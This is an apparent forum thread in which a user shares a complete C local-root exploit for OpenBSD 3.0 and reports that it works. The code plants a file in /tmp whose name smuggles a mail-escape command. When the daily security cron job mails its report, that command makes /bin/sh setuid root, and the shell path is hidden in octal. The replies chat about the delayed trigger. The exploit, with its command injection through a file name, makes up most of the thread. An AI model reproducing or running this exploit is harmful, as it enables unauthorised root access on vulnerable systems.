OpenBSD local root exploit

[linuxcomando]

Found this local root exploit for OpenBSD 3.0 works pretty well.

/*
* (c) 2002 [email protected]
*
* OpenBSD 3.0 (before 08 Apr 2002)
* /etc/security + /usr/bin/mail local root exploit
*
* Run the exploit and wait for /etc/daily executed from crontab.
* /bin/sh will be suid root next day morning.
*
* Credit goes to [email protected] for discovering vulnerability.
*
*/

#include <fcntl.h>

int main(void)
{
int fd;

chdir("/tmp");
fd = open("\n~!chmod +s `perl -e 'print \"\\057\\142\\151\\156\\057\\163\\150\"'`\n", O_CREAT|O_WRONLY, 04777);

if (fd)
close(fd);
}

[souleman]

Kinda reminds me of the cucus (or howerver it was spelled) egg. You set it up, then you have to wait. This one just takes a lot longer.

[linuxcomando]

Kind of reminds me of like a timebomb exploit/virus

[hogfly]

hrm interesting that its in /etc/security...........I wonder if it will work if the permissions are set like they should be for that .............
I will have to try it out.

[draziw]

Hmmm... that's rather interesting... time to go look at my OpenBSD box, I guess.

Like the Octal "obfuscation" there... LOL